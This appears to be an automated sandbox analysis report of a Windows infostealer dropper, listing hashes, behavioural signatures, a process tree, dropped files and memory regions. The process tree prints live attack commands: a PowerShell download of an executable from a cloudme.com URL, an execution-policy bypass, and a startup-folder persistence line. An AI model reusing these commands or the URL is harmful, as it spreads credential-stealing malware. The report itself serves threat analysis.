Analysis

  • max time kernel
    92s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/11/2024, 02:36

General

  • Target

    e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe

  • Size

    1.1MB

  • MD5

    c96a43db0abf02b0db8ca6efc658dc38

  • SHA1

    a7c1b56d517d66e054e17c6cbd54bb3f1eafab8d

  • SHA256

    e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172

  • SHA512

    6a607ee81d5fa7837643402c9c1d657dea5f0e819b64731f92bf72383d416d6e219520f15e8fb6fd5531fb0b7a1464b80ec30f9699b4304863b276cc2831ff8a

  • SSDEEP

    24576:BrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9TvaT+DCfkPY:B2EYTb8atv1orq+pEiSDTj1VyvBaTJkQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://my.cloudme.com/v1/ws2/:slight-stood/:web/web.txt

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 20 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 10 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3548
      • C:\Users\Admin\AppData\Local\Temp\e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe
        "C:\Users\Admin\AppData\Local\Temp\e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172.exe"
        2⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Invoke-WebRequest -Uri "https://my.cloudme.com/v1/ws2/:slight-stood/:web_1/web" -OutFile "C:\Users\Public\Guard.exe""
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4784
          • C:\Users\Public\Guard.exe
            "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:1424
      • C:\Windows\SysWOW64\cmd.exe
        cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\Admin\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
        2⤵
        • Drops startup file
        • System Location Discovery: System Language Discovery
        PID:4072
      • C:\Users\Public\jsc.exe
        C:\Users\Public\jsc.exe
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1508
      • C:\Users\Public\jsc.exe
        "C:\Users\Public\jsc.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:400
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C wmic diskdrive where "DeviceID=\'c:\'" get SerialNumber /value
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4444
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic diskdrive where "DeviceID=\'c:\'" get SerialNumber /value
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4968
        • C:\Windows\SysWOW64\rundll32.exe
          "C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\AdobeSFX.log",start
          3⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Accesses Microsoft Outlook accounts
          • Accesses Microsoft Outlook profiles
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:4612
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 2028
            4⤵
            • Program crash
            PID:1672
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 400
          3⤵
          • Program crash
          PID:5092
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 400 -ip 400
      1⤵
        PID:3204
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4612 -ip 4612
        1⤵
          PID:2372

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                2KB

                MD5

                2f57fde6b33e89a63cf0dfdd6e60a351

                SHA1

                445bf1b07223a04f8a159581a3d37d630273010f

                SHA256

                3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

                SHA512

                42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                a2b24af1492f112d2e53cb7415fda39f

                SHA1

                dbfcee57242a14b60997bd03379cc60198976d85

                SHA256

                fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

                SHA512

                9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

              • C:\Users\Admin\AppData\Local\Temp\AdobeSFX.log

                Filesize

                4.0MB

                MD5

                7d96e2ae9f73e6b73fadaac62119c2a0

                SHA1

                f0e8de3ec0d6eb9cb90ac952288b6a9b423fbb76

                SHA256

                4ce7ab94060f74f36288dcce8ec72b65778183d99064660644834010f42b736b

                SHA512

                01b5a3d8ced0baa1bc3d4337831bfdebbdd98e6400061d828a29ea31c04c56d15ac1aa66a0e81c787491f0a8a542430fd2a39173a9a6ef446f04149da1df7666

              • C:\Users\Admin\AppData\Local\Temp\Ireqseuphty

                Filesize

                40KB

                MD5

                ab893875d697a3145af5eed5309bee26

                SHA1

                c90116149196cbf74ffb453ecb3b12945372ebfa

                SHA256

                02b1c2234680617802901a77eae606ad02e4ddb4282ccbc60061eac5b2d90bba

                SHA512

                6b65c0a1956ce18df2d271205f53274d2905c803d059a0801bf8331ccaa28a1d4842d3585dd9c2b01502a4be6664bde2e965b15fcfec981e85eed37c595cd6bc

              • C:\Users\Admin\AppData\Local\Temp\Ruieetteer

                Filesize

                114KB

                MD5

                013b18b14247306181ec7ae01d24aa15

                SHA1

                5ce4cb396bf23585fbcae7a9733fe0f448646313

                SHA256

                edb18b52159d693f30ba4621d1e7fd8d0076bfd062e6dda817601c29588bea44

                SHA512

                2035c94569822378b045c0953659d9745b02d798ab08afc6120974b73dd9747bb696571ea83b4780f0590ca9772fc856f79bea29694fe463b1a388337da8bd94

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y5dkh3dj.1tb.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Public\Guard.exe

                Filesize

                872KB

                MD5

                18ce19b57f43ce0a5af149c96aecc685

                SHA1

                1bd5ca29fc35fc8ac346f23b155337c5b28bbc36

                SHA256

                d8b7c7178fbadbf169294e4f29dce582f89a5cf372e9da9215aa082330dc12fd

                SHA512

                a0c58f04dfb49272a2b6f1e8ce3f541a030a6c7a09bb040e660fc4cd9892ca3ac39cf3d6754c125f7cd1987d1fca01640a153519b4e2eb3e3b4b8c9dc1480558

              • C:\Users\Public\PublicProfile.ps1

                Filesize

                362B

                MD5

                315eab1b113060397deb5d4013e64eae

                SHA1

                d1578170885d0375b2aa22954badaeb36a539026

                SHA256

                dae667196e8dc197c7e0a5ecb4718d26f8a8276c72cc190e14cdf8ed67b3b8c5

                SHA512

                f74b12217c36bac596bda9ac1d86d256a13591916774b795dbd1cf1525c90f93d0b9fe26b68f19a4dacb751d0b4f3649e9cf42a2fa0a1e916b9326fbe3c09ced

              • C:\Users\Public\Secure.au3

                Filesize

                10.7MB

                MD5

                4bdd41d598fd897ce21bd86264030448

                SHA1

                2907df32a0b8fb017a0f5ba53605245cc0119c44

                SHA256

                daf4100279eaabf2c17b8e08026f4da4ebd817dc16d381b3daebe7adb9384c7c

                SHA512

                7d3895d6640566bac911c3638328fd794ffcc6fcf4ce365848f0e498df16b4a5c5659efd4fb4eacb51d3d9a394457f55b9f3ae1c530de99554728b94d57d531f

              • C:\Users\Public\jsc.exe

                Filesize

                46KB

                MD5

                94c8e57a80dfca2482dedb87b93d4fd9

                SHA1

                5729e6c7d2f5ab760f0093b9d44f8ac0f876a803

                SHA256

                39e87f0edcdd15582cfefdfab1975aadd2c7ca1e3a5f07b1146ce3206f401bb5

                SHA512

                1798a3607b2b94732b52de51d2748c86f9453343b6d8a417e98e65ddb38e9198cdcb2f45bf60823cb429b312466b28c5103c7588f2c4ef69fa27bfdb4f4c67dc

              • memory/1508-75-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-99-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-1135-0x0000000005D40000-0x0000000005D94000-memory.dmp

                Filesize

                336KB

              • memory/1508-1131-0x0000000005CE0000-0x0000000005D2C000-memory.dmp

                Filesize

                304KB

              • memory/1508-1130-0x0000000006030000-0x0000000006432000-memory.dmp

                Filesize

                4.0MB

              • memory/1508-56-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-79-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-57-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-49-0x0000000001100000-0x00000000015C2000-memory.dmp

                Filesize

                4.8MB

              • memory/1508-59-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-52-0x0000000006CD0000-0x000000000715E000-memory.dmp

                Filesize

                4.6MB

              • memory/1508-53-0x00000000083B0000-0x0000000008840000-memory.dmp

                Filesize

                4.6MB

              • memory/1508-54-0x0000000008DF0000-0x0000000009394000-memory.dmp

                Filesize

                5.6MB

              • memory/1508-55-0x0000000008930000-0x00000000089C2000-memory.dmp

                Filesize

                584KB

              • memory/1508-67-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-77-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-113-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-111-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-109-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-107-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-105-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-103-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-101-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-117-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-115-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-61-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-97-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-95-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-93-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-91-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-89-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-87-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-85-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-83-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-81-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-63-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-73-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-71-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-69-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/1508-65-0x00000000083B0000-0x000000000883A000-memory.dmp

                Filesize

                4.5MB

              • memory/3900-0-0x00007FFFAEA13000-0x00007FFFAEA15000-memory.dmp

                Filesize

                8KB

              • memory/3900-16-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB

              • memory/3900-12-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB

              • memory/3900-11-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB

              • memory/3900-10-0x00000179CA180000-0x00000179CA1A2000-memory.dmp

                Filesize

                136KB

              • memory/4784-30-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB

              • memory/4784-28-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB

              • memory/4784-40-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB

              • memory/4784-29-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB

              • memory/4784-35-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB

              • memory/4784-34-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB

              • memory/4784-33-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

                Filesize

                10.8MB